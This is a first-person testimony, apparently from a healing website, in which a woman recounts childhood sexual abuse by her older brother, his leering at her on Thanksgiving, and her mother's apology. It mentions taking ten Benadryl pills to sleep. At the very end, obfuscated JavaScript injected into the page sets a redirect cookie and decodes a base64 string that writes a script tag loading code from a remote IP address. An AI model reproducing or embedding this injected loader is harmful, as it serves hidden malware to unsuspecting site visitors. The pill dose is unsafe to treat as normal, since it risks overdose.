A Thanksgiving Stand

by Margohaspeace

The abuse started when I was 8 and continued until I was 12. My brother made me perform oral sex on him and he on me. I was so afraid of telling my mother, however, he told her a version that she would believe and it would look like I was the initiator. I got stronger and started saying no. I remember screaming in our living room, “I’m not going to do it anymore, I’m not going to do it anymore!!” Heyelled at me to shut up, shut your damn mouth.

And yes I shut my mouth but I did not allow him to touch me or make me do anything. I began to stand up for myself. There have been times, when he would make comments that he had me, I would retaliate and say you were never inside me and you did not have me like that.

He has told my mother on several occassions that he regrets what he made me participate in that and he feels like it is his fault that I was so hateful to him. However this did not last long, because he would act like I was a girlfriend and it made me so damn furious. This Thanksgiving we were in the kitchen talking to our mother about fun memories of our childhood.

He had the biggest smirk on his face and it just angered me. He watched me the whole time and he is just sick, he is a sick person. I walked out of the kitchen and when I came back to the table, he was looking at me so hard that I felt uncomfortable and he began licking his lips and it just angered me.

So eventually he left and went to take a Thanksgiving dinner home to his family. The next day, I told my mother I needed to speak with her and I just wanted her to listen. She said ok. I told her that this year has been very harsh, with her being sick and almost dying and the horrific treatment I was getting from coworkers. I told my mother that when Mark looked at me like that I felt he took my wind and it angered me. I told my mother that, there are times when I want to scream, there are times I’m afraid he may try to harm me however, I will not let that happen.

I have an adult brother that is autistic and he started with him and making him perform oral sex on him. We were so afraid of our brother as children, it is like he became a different person. I told my mother about that, I told my mother that I don’t want him around my brother. My brother who shared these horrifying experiences does not like him to take him anywhere and I don’t blame him. I hate how he tries to make me feel small or make me feel like I don’t have a voice. I see this as a way to beat me down and then see if he can hurt me again by forcing me to please him.

I told my mother, that experience had me wishing I was someone else so that I would not have the memory of the abuse. I am overweight, I am a people pleaser, and I don’t finish what I have started. I don’t know why I had to endure that but it doesn’t hurt anymore. It was just on Thanksgiving how he made me feel and I can’t stand it.

I told my mother the reason why I dealt mostly with other women is because she was not there and she did not protect me and I needed my mother to hold me and comfort me. I told my mother that I chose the wrong men and I stay in unhealthy relationships because the abuse went on so long and I just thought if you have a good boyfriend or bad boyfriend, you hold on. The abuse gave me that interpretation. However, I was afraid of me, thought I was icky on the inside and would seek out others to help me figure out my life. This was a bad mistake that I repeated for many years.

My mother told me she would talk to my brother and she did. I can be controlling, there are times when I take 10 benadryl pills just to go to sleep. This is not good but I can’t help it. I so badly want to lose weight but I have such a hard time keeping it up. I need healing, because I want to go on with my life and be more centered to complete those incomplete tasks and lose 100 lbs and have the banging body I have always wanted.

I know I will never feel comfortable around him and definitely when I have a child, he will not be around my child. My mother told my brother that when I have my child that he would not be allowed over unless I am there with the child.

My mother said he tried to deny it and she told him that “you have hurt her when she was a child and she was getting her life in order and when you made that comment and when you gave her that lustful look, you hurt and angered her.” She told him don’t ever treat me like that again.

My mother and I cried and she apologized for not being there; but I never told her and that is why she believed my brother. I told her that I was so afraid of him. I told my mother that when I refused to be forced to do anything, he would beat me and he stumped me in my vagina. My mother told me she remembered that and she did get on him.

She said “your brother bullied all of you” and she was so sorry that she did not ask me what happened. She told me how much she loved me and that I have no worries and your brother will no longer address me like that ever again.

That felt so good to hear my mother say that. Me and my mother are close but this year we have gotten closer. I saw in her eyes that she felt my pain. You don’t know how it made me feel to release all that.

I am known for giving my all to church and to church people. I know they saw me as weak and that is why I was just a flunky with a good heart. I did not have anything going on in my life and I became so involved in church, only to be disappointed and hurt. One pastor I had spread vicious rumors that I was gay because I would not sleep with him. I don’t know why I stayed with that mininstry for so long but I did and I had to remove myself so I could get healed.

Years later, I joined another church and the same thing happened and I left. I do want to be part of a ministry but I’m not ready. Working in the church should be enjoyable but for me it reminds me of painful memories and lies and harrassment.

I want to be excited about me and not be afraid of my true self that is within and was given to me straight from the Lord. I want to feel good about me consistently, I want a very healthy life so I can have superior health and not be afraid to wear certain clothing because I am embarassed at how men look at me.

I would like to deal with the abuse first so I can gain confidence and I feel that once that cycle is complete, I will have the esteem that propels me into a level of peace where memories don’t haunt me and make me feel ashamed. I’m not a victim, my brother is. Should he get help at some point in his life that will be good for him. However if he does get help or does not get help, I will not be trusting of him, I won’t hate him but I don’t want him around me. I will not allow him to my home when I marry. I don’t want him around me and that is the truth.

I know you have to forgive and I feel like I have but what he said and did on turkey day, hurt me so bad and angered me.

He is 4 years older than me and he can be nice but you have to watch out because he has offered to help me when I had my apartment and I really did not want him to because I was afraid of him. I did not want him to think that since I had my own place that he could come by and hurt me. I felt that way because I was still afraid of him. Thanksgiving day was the first time I stood up to him, even though I was hurt, I stood up.

You know I sometimes fear that if something happened to my parents and younger brother, that I would have no one to be there for me and should that day come and I’ve lost both parents and become sick, he would be the only family member I have that is living. That thought terrifies me, I don’t want him to beat me or hurt me because I am sick and can’t fight back.

Maybe there is still some fear and if it is, I want to break free from it and I want to confront him. I don’t want to scream or yell. I want to let him know how he hurt me and how he has looked at me and disrespected me as if I were an ex-girlfriend.

You know when the day comes and both parents and my younger brother are no longer living. It will be a cold day.

Now, he has helped me out but I don’t want to lean on that. When I was in junior high, he told one of his favorite teachers about me and how nasty I was and the teacher treated me and looked at me like I was trash.

I have told boyfriends what happened but not in detail and they used it against me, to keep me in their life because of my vulnerbility and I was lonely. when you are threatened with being alone, you will stay in a bad situation so that you don’t have to deal with your demons.

I no longer want to cheat me out of the experience of loving myself continually. I don’t want to cheat myself out of peace by be fearful of my abuser.

I would think that something was wrong with me because I was not sexually active and my friends were always dating different guys. I now know that sleeping with too
many men is not good. I don’t enjoy sex, in my whole life, I have only had 3 good orgasms.

I want help letting it all go for good and not be afraid. I hope and believe this website will help me and I am ready to be healed. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘